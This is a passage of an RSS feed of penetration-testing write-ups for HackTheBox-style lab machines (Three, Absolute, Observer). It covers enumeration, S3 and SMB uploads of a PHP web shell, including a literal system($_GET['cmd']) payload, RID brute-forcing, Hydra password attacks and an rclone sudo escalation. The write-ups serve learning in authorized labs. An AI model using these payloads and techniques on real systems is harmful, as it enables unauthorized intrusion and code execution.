manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*gaoi0N6EIf7n-k4gQ4ZKLA.png" /></figure><h3>Testing for CVE-2021–3560 (polkit / pkexec) — attempted exploit and outcome</h3><p>During local enumeration I noticed indicators that suggested the box might be vulnerable to <strong>CVE-2021–3560</strong>, a local privilege escalation issue in polkit’s pkexec that was widely abused in 2021. To validate this, I retrieved a community exploit from GitHub and attempted to run it against the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*RqLwCTe_dMfjlHGFGoqPxw.png" /></figure><p>While triaging LinPEAS output I noticed an active local service on <strong>port 5432</strong> — the default PostgreSQL port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*R1NnoFJBWf5_AQeLKVJK6g.png" /></figure><p>Locally-bound database is a juicy target: it can contain credentials, application secrets, or SQL query history that reveals sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*r1YVMaxuaRl0xSJJ8vz27g.png" /></figure><p>Because the service is listening on the loopback interface, it’s not directly reachable from your attacker machine, but from the compromised christine shell you can interact with it directly to enumerate databases, roles, and possibly dump confidential data.</p><p>It seems psql is not installed on the target and we do not have permissions to install.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*BCcxIw4ocsyzgNcD1JIm-g.png" /></figure><p>There are two practical, reliable ways to interact with the locally-bound PostgreSQL from your attacker machine without installing anything on the target.</p><h3>Option A</h3><p>Run a lightweight DB client on the target without package install.</p><p>On your attacker host (same OS/arch as target), obtain the psql client binary (e.g., from a matching distro or extract from a PostgreSQL client package), scp it to /tmp on the target, chmod +x and run it. This requires matching libc/arch and might fail if the binary depends on libraries not present.</p><h3>Option B</h3><p>PostgreSQL was listening on localhost:5432, but psql wasn’t installed on the box. Rather than installing software on the target, I used SSH port forwarding to tunnel the remote DB port back to my attacker machine and queried it with my local psql client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*akjrRwTkOeTo3V9qpKbtTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsm1urHP9r7ty4117-G0Dw.png" /></figure><p>After setting up the SSH tunnel I pointed my local psql client at the forwarded port and authenticated as the user I had:</p><blockquote># on attacker machine (SSH tunnel already open)<br>psql -h localhost -p 1234 -U christine</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*VjtlUfJTV9Db9dMAYcq1Cg.png" /></figure><p>List databases</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bpjVpxjw3pR6Z1hQm5L-w.png" /></figure><p>Connect to a DB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ts_5ZDKR9q-6AiOmD9mR_A.png" /></figure><p>Capturing the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*6hUhrwkx-w2VJC0NI_tvEg.png" /></figure><h3>Learning Outcomes</h3><p>Perform targeted reconnaissance — use nmap (including -sC -sV and NSE scripts) to discover live services and interpret scan output to prioritize attack paths.</p><p>Enumerate exposed services safely — identify and investigate FTP and SSH services, check anonymous FTP access, list and download exposed files, and reason about likely next steps.</p><p>Extract intelligence from artifacts — extract usernames, onboarding hints, and other indicators from text and PDF artifacts.</p><p>Find and exploit weak operational practices — recognize the security risk of default/temporary onboarding passwords and use targeted credential testing (small lists, hydra/sshpass) to validate account access in-scope.</p><p>Automate local enumeration — deploy and run LinPEAS to surface high-probability privilege-escalation vectors (sudo rights, SUIDs, cron jobs, keys, world-writable locations) and triage its output efficiently.</p><p>Discover and interact with local-only services — detect locally bound services (PostgreSQL on 127.0.0.1), understand their threat model, and enumerate without installing software on the target (SSH port-forwarding, portable clients).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8e94d181d05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: THREE]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-three-d43d02f65c4b?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d43d02f65c4b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Thu, 02 Oct 2025 06:47:51 GMT</pubDate>
            <atom:updated>2025-10-02T06:47:51.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: THREE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3>Overview</h3><p>Target Machine: Three</p><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/144/1*tFu8n6jOxuAfWfL1XqIHzQ.png" /><figcaption>HTB — Three</figcaption></figure><h3>Enumeration</h3><p>To kick things off, we run a focused Nmap scan to discover which services are exposed and prioritize our next moves. A targeted port sweep gives us a high-level map of the attack surface — which ports are open, which protocols are listening, and often which service versions are in play. That information drives which enumeration tools and exploits we try next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*UdxcMQ94Yhn3DHa0J4MJPA.png" /></figure><p>Enumeration — SSH and HTTP</p><p>We see ports <strong>22</strong> and <strong>80</strong> open — two distinct attack paths: SSH (remote shell) and an HTTP web service. Let’s run a focused Nmap probe to collect service banners and run lightweight enumeration scripts for those ports:</p><p># nmap -sC -sV -p22,80 $IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*P_5h2Tugy4t35FnXfL6KZg.png" /></figure><p>Navigating to http://10.129.145.195 reveals a simple, static-looking web page. While it may not appear promising at first glance, <strong>never underestimate basic websites</strong> — they often hide critical information in plain sight.</p><p>As a best practice during initial web enumeration, always start by reviewing:</p><ol><li><strong>Page Source</strong></li><li><strong>Robots.txt</strong></li></ol><p>To automate this initial triage, you can use:</p><blockquote># Grab source code and headers<br>curl -i <a href="http://10.129.145.195/">http://10.129.145.195</a></blockquote><blockquote># Parse and highlight HTML comments<br>curl <a href="http://10.129.145.195/">http://10.129.145.195</a> | grep -iE “&lt;! — |//”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*HBnnoyNgLMp6GrzKd1z85A.png" /></figure><p>Why add thetoppers.htb to /etc/hosts</p><p><strong>Name-based virtual hosting</strong><br> Many web servers host multiple websites on the same IP and rely on the HTTP Host: header (the requested domain) to serve the correct site content. Visiting http://10.129.145.195 may show a default site — but visiting http://thetoppers.htb (resolved to the same IP) can show an entirely different webapp. Adding the hostname to /etc/hosts lets your machine resolve that domain to the lab IP so the server receives the expected Host: header.</p><blockquote># echo “10.129.145.195 thetoppers.htb” | sudo tee -a /etc/hosts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*5El5JZGirkJZ7knm_G-xjw.png" /></figure><p>Identifying the language — why index.php vs index.html matters</p><p>When requesting http://thetoppers.htb/index.php returns the site but index.html does not, it usually means the server is returning pages that are <strong>rendered on the server by PHP</strong> rather than serving static HTML files. The .php file is processed by the PHP interpreter (producing HTML for the browser), whereas .html would be a static file; if it doesn’t exist or the server is configured to serve .php by default, the .html path will 404 or show nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*qR-WUG7MOugoterQrCnwBg.png" /></figure><p>It doesn’t prove the entire app is PHP-only, but it strongly suggests the back-end logic is implemented in PHP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*lwWcBnZUved3gJjlZY1kAQ.png" /></figure><p>Quick checks to confirm (safe, non-destructive)</p><ol><li>Check response headers</li></ol><blockquote>curl -I <a href="http://thetoppers.htb/index.php">http://thetoppers.htb/index.php</a></blockquote><p>Look for headers like X-Powered-By: PHP/7.x or Server: Apache — these are tell-tale signs.</p><p>Broken Links and Dead Forms — why they matter</p><p>At first glance, the <strong>Buy Tickets</strong> buttons and the contact form appear to be dead links, but those inert elements are worth investigating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*BEruxmeOyCWhVap4-as-TQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*_D0AY2vUKzrVdwZ9Jo7Wqg.png" /></figure><p>During our directory brute‑force with gobuster we discovered an /images directory.</p><p>The /images directory contained a collection of static assets.</p><p>Practical checklist &amp; commands</p><ol><li>Mirror/download the directory for offline work</li></ol><blockquote>wget -r -np -nH — cut-dirs=1 -R “index.html*” <a href="http://thetoppers.htb/images/">http://thetoppers.htb/images/</a> -P downloads/images</blockquote><p>2. Identify actual file types (don’t trust extensions)</p><blockquote>file downloads/images/* | sed -n ‘1,200p’</blockquote><p>3. Check for misnamed files and suspicious extensions</p><blockquote>for f in downloads/images/*; do<br> type=$(file -b — mime-type “$f”)<br> ext=”${f##*.}”<br> echo “$f -&gt; $type (ext: .$ext)”<br>done</blockquote><p>4. Extract and inspect image metadata (EXIF)</p><blockquote>for f in downloads/images/*; do<br> echo “=== $f ===”<br> exiftool “$f” | egrep -i “make|model|software|comment|user|artist|host|author|path” || true<br>done</blockquote><p>5. Strings search for embedded secrets or URLs</p><blockquote>for f in downloads/images/*; do<br> echo “=== $f strings ===”<br> strings -a “$f” | egrep -i “pass(word)?|key|secret|http|admin|thetoppers|config|flag” | sed -n ‘1,200p’<br>done</blockquote><p>6. Check for simple steganography</p><blockquote>pngcheck -v downloads/images/*.png 2&gt;/dev/null || true</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFSmXRobTzbaw7gX7XTjNg.png" /></figure><p>Virtual Host Enumeration</p><p>With limited visible functionality on the main site, we turned to <strong>virtual host enumeration</strong> using Gobuster.</p><p>Vhosts are commonly used in web server configurations to serve different content based on the requested hostname — all resolving to the same IP. While thetoppers.htb is the main entry point, subdomains like admin.thetoppers.htb or dev.thetoppers.htb may expose additional functionality not listed or linked on the site.</p><blockquote>gobuster vhost -u <a href="http://thetoppers.htb/">http://thetoppers.htb</a> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt — append-domain</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5GExfTKuA7IOPEwfjO_RA.png" /></figure><p>During virtual‑host enumeration we discovered s3.thetoppers.htb — a subdomain that strongly suggests an object‑storage or static asset endpoint (the s3 prefix is commonly used for AWS S3‑style buckets or self‑hosted object stores).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*PiAb4OF76QOhEYVR0SjAlQ.png" /></figure><p>Add the vhost to /etc/hosts</p><blockquote>echo “10.129.145.195 s3.thetoppers.htb” | sudo tee -a /etc/hosts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*qyApQNgkX4zFAxllhjcwZQ.png" /></figure><p>List available buckets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*juoZeNDORGbY8bkgJMX7Qw.png" /></figure><p>List objects inside a specific bucket</p><p>Finding a bucket named thetoppers.htb with objects images/, .htaccess, and index.php strongly indicates the site is being served from an object store or that the object store is the webroot for that host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*Y1RFE1nnYKcWWiGVWiBgHg.png" /></figure><p>To verify whether the application accepted executable content, we attempted to upload a minimal PHP payload (&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;) as shell.php</p><p>This test is intended to determine whether uploaded files are stored in a web‑accessible location and whether the server treats those files as executable — information that reveals misconfigurations like permissive upload handling, improper MIME/type enforcement, or unsafe .htaccess directives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*QI6GQW_b9Y_vLH61awLByw.png" /></figure><p>Attempted to place a minimal PHP payload into the site’s object store to test how uploads are handled and whether uploaded content is treated as executable. The upload was performed against the thetoppers.htb S3‑style bucket to probe whether files stored there would be served and executed by the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*whZ-90Sk6iC_ylRQMoMN9w.png" /></figure><p>Visiting http://thetoppers.htb/shell.php?cmd=id returned the output of the id command in the browser, confirming that uploaded PHP content was executed by the web server. This demonstrates <strong>arbitrary remote code execution (RCE)</strong> through the object store–backed webroot: uploaded files were treated as executable PHP, allowing attacker-supplied code to run in the web server context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*f0x2svPzp2U40kzoOX3zmg.png" /></figure><p>After confirming that uploaded PHP files were executed by the server, we performed a controlled verification in the authorized lab environment that demonstrated full remote command execution on the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*YU4rug2RBToboA-Gcri0dg.png" /></figure><p>This confirmed that the object store–backed webroot allowed server‑side code to run, resulting in a command shell on our test machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*sn_IWpk482_99Nn0V37QmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*pWvM3EEPZNA_T92Oz62_Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*5HfhmHJAfHfqaRdVN0LuAQ.png" /></figure><blockquote>All testing was performed in a legal, authorized HTB environment and was restricted to non‑destructive verification for the purpose of documenting the vulnerability.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d43d02f65c4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: Absolute]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-absolute-e26351346943?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e26351346943</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 15:07:25 GMT</pubDate>
            <atom:updated>2025-07-28T15:07:25.558Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: Absolute</h3><p>In this write-up, we’ll walk through the steps to root <em>Absolute</em>, an easy-rated Linux box. The journey includes some classic enumeration with Nmap, poking around SMB shares, a bit of password cracking with Burp Suite, and landing an initial shell through a PHP webshell. We wrap things up by exploiting a sudo misconfiguration with rclone to gain root access. Let’s dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3>Overview</h3><p><strong>Machine:</strong> Absolute — Linux</p><p><strong>Difficulty:</strong> Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*fwi2Y9-ew8gHxONxMwUn4Q.png" /></figure><h3>Enumeration</h3><p>Let’s start off with a Nmap scan.</p><p><strong>Nmap Results</strong></p><p>We see three open ports:</p><p>Port 80/tcp — Hosting a web server</p><p>Port 139/tcp &amp; 445/tcp — SMB services</p><p>At this point, we have a couple of good entry points: a web server to explore and SMB shares that might reveal some internal resources. We’ll start by poking around the SMB service to see what we can uncover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*ILjnrCQeDSAnxJdEuMgpnQ.png" /></figure><p>While examining the open ports from the initial scan, it’s always a good idea to run a full TCP port scan in the background to catch any non-standard or hidden services that might be listening elsewhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*V9LY_4wP8xOWSwwm64mpFA.png" /></figure><p>Navigating to the web server on <strong>port 80</strong>, we’re greeted with the standard <strong>Nginx default page</strong>. This usually means there’s no active web application deployed at the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*WGLr5ww7yBJiYHIXL79-zA.png" /></figure><p>Nothing interesting here at first glance, but it’s worth keeping in mind — sometimes web servers like this have hidden directories or web content that isn’t immediately visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*-mTG4boNukCHVduVK8sMmQ.png" /></figure><p>For now, let’s move on to <strong>enumerating SMB</strong>, which seems like a more promising lead.</p><p>To enumerate available SMB shares, we start with an anonymous connection using the following command:</p><ul><li>The -L flag lists all the shared resources on the target.</li><li>The -N flag tells smbclient to connect <strong>without prompting for a password</strong>, making it an anonymous login attempt.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Vnt556iG9Dj-W_6cY7-Rsw.png" /></figure><p>From our SMB enumeration, we discovered a share named <strong>web</strong>. While we won’t dive into it just yet, it definitely looks promising—especially considering the default Nginx page we saw earlier on port 80.</p><p>Next, I used rpcclient to attempt an anonymous connection to the target&#39;s RPC service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*PzoMp93Q9ArMHEe49C2hcQ.png" /></figure><p>Here’s how we performed a brute-force search for valid user RIDs on the target using rpcclient:</p><blockquote>for i in $(seq 500 1100); do<br> rpcclient -N -U “” 192.168.56.106 -c “queryuser 0x$(printf ‘%x\n’ $i)” | grep “User Name\|user_rid\|group_rid” &amp;&amp; echo “”<br>done</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*fqNQYY4rHkFzLFDXH4zV-g.png" /></figure><p>Continuing with rpcclient, we performed deeper enumeration to gather more information about the target’s users, groups, and policies. This helps us map out potential accounts and privileges that might be exploitable later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*nQsCovax_wV2_hfGTcuEcg.png" /></figure><p>During further enumeration with rpcclient, the netshareenumall command revealed some interesting shares. Notably, we found a share named <strong>web</strong> with the following details:</p><ul><li><strong>Netname:</strong> web</li><li><strong>Remark:</strong> website directory</li><li><strong>Path:</strong> C:\var\www\html\Uploaded-Backup-Files</li><li><strong>Password:</strong> <em>(none set)</em></li></ul><p>This indicates an accessible directory likely related to the web server, which could contain useful files or backups. Since it doesn’t require a password, this share becomes an important target for exploration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*x-dnufJKZNoaZPoYdgbHgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*QohEd0RKdpcXOA-a8UUBpQ.png" /></figure><p>To gather even more detailed information, I ran <strong>enum4linux-ng.py</strong>, an advanced enumeration tool designed for Windows and Samba hosts.</p><p>This script automates a variety of enumeration tasks — like listing users, groups, shares, policies, and more — combining multiple techniques into one comprehensive scan. It’s especially useful for quickly uncovering valuable information that might be missed by manual commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*D9i5AhrX-nYtlyzqHEFSuw.png" /></figure><p>Heading back to the web directory at http://192.168.56.106/Uploaded-Backup-Files, we’re immediately met with an authentication prompt requiring a username and password. Unfortunately, we don’t have any credentials to try.</p><p>Without a user or password list, brute-forcing this login would be time-consuming and unreliable. So, instead of wasting time guessing, we’ll pivot to exploring other avenues for gaining access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUt5-cPBx9b_dDZR6nOVEw.png" /></figure><p>While analyzing the login request in Burp Suite, we uncovered two key insights:</p><ol><li>The <strong>Authorization header</strong> uses Base64 encoding of the Username:Password combo to authenticate with the server. This means we can easily intercept and manipulate credentials here.</li><li>In the <strong>response headers</strong>, the WWW-Authenticate message includes a personalized greeting:<br> &quot;welcome to m.howard server&quot; — giving us a valuable clue: <strong>the username is likely </strong><strong>m.howard</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dV7BlgXlxXUYs5GFd6i05g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*Vi3D7ZfIsf7NZH6gs-TGpg.png" /></figure><p>Base64 encoded Username:Password decoded by Burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*hNxumKKJAJZfwm0gvIMVHg.png" /></figure><p>Since we have both <strong>read and write access</strong> to the web share, I decided to upload a simple <strong>PHP test shell</strong> to see if we could execute commands through the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*pfGwKf4L7pX4ZG8BwEniXA.png" /></figure><p>Using the simple PHP shell I uploaded, I was able to successfully <strong>execute system commands through the web server</strong>, confirming remote code execution and giving us an initial foothold on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*CSG4NDUh_-vYm4yKm9kSLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*a4m_ADI7sJ5qLIp3FF8TIw.png" /><figcaption>Credit: <a href="https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html">https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html</a></figcaption></figure><h3>Exploitation</h3><p>To make interaction smoother, I swapped out the test shell for the <strong>Winterwolf WebShell</strong>, which offers a more user-friendly interface for command execution and file browsing.</p><p>With it in place, I ran some basic enumeration on the web server — checking the current user, system info, and browsing through directories — to get a better understanding of the environment we were working in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDL1ODgg4JVfZ9ZV3APoCw.png" /></figure><p>Winterwolf WebShell Interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*a54xesG2v86av3ozI3Y6wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*rmPlLjrFF6Owgm4mrPLoNQ.png" /></figure><h3>Privilege Escalation</h3><p>Next, I ran sudo -l to check which commands the current user can execute with elevated privileges. Interestingly, the output showed that the user can run <strong>rclone as root without needing a password</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*hTkyzFv5m9rWzlaTW33vsA.png" /></figure><p>This kind of misconfiguration can be a great privilege escalation vector, especially since rclone allows us to interact with remote or local file systems and even run commands in some scenarios. Let’s take advantage of that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*_4qBKgMYgAOg_aJnJDeJ-w.png" /></figure><p>After reviewing the <strong>man pages for </strong><strong>rclone</strong>, I noticed some interesting subcommands—particularly cat and serve—that could be useful in this context.</p><p>I tested rclone cat to read files as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*BGEUEqtRylfd1SHtwUs5qw.png" /></figure><p>Surprisingly, this revealed the <strong>SSH private key for the root user</strong>. However, since <strong>SSH isn’t open on the server</strong>, we can’t use it for remote access — but it still confirms we can read sensitive files as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*XCNGgnWnFt7knqDpbCTduw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*AvP0MQ7J-RX-nThkddGGAA.png" /></figure><p>This gave us the idea to go straight for the goal: the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*w35rPfknGHACgKXLLBFgAQ.png" /></figure><h3>Lessons Learned</h3><ul><li><strong>Pay attention to response headers</strong></li></ul><p>The WWW-Authenticate header gave away a valid username—something that can easily be missed without closely inspecting HTTP responses.</p><ul><li><strong>A simple shell can go a long way</strong></li></ul><p>Uploading a PHP web shell with write access is often enough to gain code execution, and using a feature-rich shell like Winterwolf can streamline post-exploitation.</p><ul><li><strong>Man pages are your friend</strong></li></ul><p>Don’t underestimate the power of reading documentation. A quick look at rclone&#39;s man page revealed exactly how we could use it to access root-level files.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e26351346943" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: Observer]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-observer-6eb99186c7b6?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6eb99186c7b6</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Thu, 17 Jul 2025 05:18:46 GMT</pubDate>
            <atom:updated>2025-07-17T05:18:46.453Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: Observer</h3><p><em>Welcome back to our pentesting series! In Part 2, we take on a new target: </em><strong><em>Observer</em></strong><em> — a Linux machine that’s a little more locked down, with just </em><strong><em>two open ports</em></strong><em>. But don’t be fooled by its minimal surface area. This machine is all about observation, subtle clues, and thinking a step ahead. We’ll walk through our process, share the tools and techniques we used, and break down how we eventually gained a foothold. Let’s dive in</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3><strong>Overview</strong></h3><p>Machine: Observer — Linux</p><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*OzUEIa7tqT2IE7V6Ly9Wzg.png" /></figure><h3><strong>Enumeration</strong></h3><p>So, let’s kick things off with an <strong>Nmap scan</strong> to see what we’re working with. Our target for this session is sitting at 192.168.56.104.</p><p>To get started, I run a basic Nmap scan using the -sC and -sV flags. These help us run default scripts and grab version info—super useful for getting a quick overview. I save this output as basicNmap so I can refer back to it later.</p><p>At the same time, I also launch a <strong>full scan</strong> in the background. This takes longer, but it’s worth it — it helps catch any sneaky or uncommon ports that might not show up in a basic scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*S-Oy96bMujhNz3XhX8sbdg.png" /></figure><p>From the basic Nmap scan, we find <strong>two open ports</strong>:</p><ul><li><strong>Port 22</strong> — SSH (as expected)</li><li><strong>Port 80</strong> — A web server</li></ul><p>Naturally, we start by checking out <strong>port 80</strong> in the browser. A quick look shows a <strong>pretty minimal website</strong> — nothing too flashy or interactive. Most of the links don’t go anywhere (just dummy placeholders), and the only thing that really stands out is a <strong>contact form</strong>.</p><p>There aren’t any obvious input fields or login pages to mess with, so the surface looks pretty limited at first glance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_zq9a4Y7oxp8bDQIvGYaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPD7JVXfLMl-SLyUZY4Mag.png" /></figure><p>I decided to test out the <strong>contact form</strong> by submitting some random data, just to see how the backend reacts. While doing this, I had <strong>Burp Suite</strong> running to intercept the request.</p><p>Sure enough, the form sends a <strong>POST request</strong>, which is a good sign — it means it’s actually trying to do something. But… after submitting, I’m just redirected back to the homepage, and nothing really changes.</p><p>No confirmation message. No errors. Nothing in the response that looks interesting.</p><p>So for now, this looks like a <strong>dead end</strong> — at least on the surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nzk7i3oQSF7nMsa52tJO5Q.png" /></figure><p>While poking around the homepage, something <em>did</em> catch my eye — a section titled <strong>“Amazing Team”</strong>, showing a list of names. While it might just seem like filler content at first, in a real-world scenario, these could easily be <strong>actual usernames</strong> used within the organization.</p><p>So I take note of all the names listed and create a <strong>potential username list</strong> from them. It’s always a good idea to keep an eye out for this kind of information — usernames are half the puzzle when it comes to gaining access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWEATu_zVqE40rU3HaZfJQ.png" /></figure><p>While I was exploring the site manually, I also had <strong>Gobuster</strong> running in the background to look for any <strong>hidden directories or interesting endpoints</strong>.</p><p>I used a common wordlist to keep things simple at first — but unfortunately, <strong>nothing useful came up</strong>. No admin panels, no hidden login pages, and no juicy directories to dig into.</p><p>Still, it’s good practice to run these scans — you never know what might turn up. In this case, though, it looks like the web server is keeping things pretty locked down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*swJGE1qHOKR8mniTz4zwjA.png" /></figure><h3><strong>Exploitation</strong></h3><p>With a list of potential usernames ready, the next step is to try logging in through <strong>SSH</strong>. One option is to use the well-known <strong>Rockyou</strong> wordlist — but if you’ve ever used it, you know it’s <em>huge</em>. Running it against multiple usernames could take ages.</p><p>Instead, I go with a more targeted approach using a tool called <strong>Cewl</strong>. Cewl scans a website and pulls out words to create a custom wordlist. Since it’s based on the actual content of the target site, it’s often much more relevant — and way smaller — than something like Rockyou.</p><p>So I run Cewl against the site, and just like that, I’ve got a focused password list that’s much faster to work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*bliVmMfL3wXbYaeGhRPC3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*vg2W6F81OkOJo2W4Nxi_GQ.png" /></figure><p>Now that I’ve got both a <strong>potential username list</strong> and a <strong>custom password list</strong> from Cewl, it’s time to bring out <strong>Hydra</strong> and try our luck against SSH.</p><p>I run Hydra with the username and password lists — and after a bit of waiting… <strong>bingo!</strong> I get a valid login. Always a satisfying moment.</p><p>With SSH access now in hand, it’s time to dig deeper into the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*CTl3uDefmSZqJvTqzyVweg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*MamN_xjIPO1MwQ2ONxeF3A.png" /></figure><p>Even though Hydra gave me a <strong>valid username and password</strong>, trying to log in via SSH didn’t go as expected. As soon as I entered the credentials, the connection was immediately <strong>closed with a message</strong> — no shell, no access.</p><p>It looked like some kind of <strong>custom SSH configuration or restriction</strong> was in place, possibly preventing normal logins.</p><p>So I decided to try a different approach and used the <strong>-Y flag</strong> for <strong>X11 forwarding</strong>—and <strong>bingo</strong>, it worked! I was finally in.</p><p>Looks like the system was set up to only allow SSH connections with X11 forwarding enabled. A bit unusual, but a good reminder to try all the tricks in the toolbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*AXBXYgSsll5NgPxGKedtMg.png" /></figure><p>Once I was finally logged 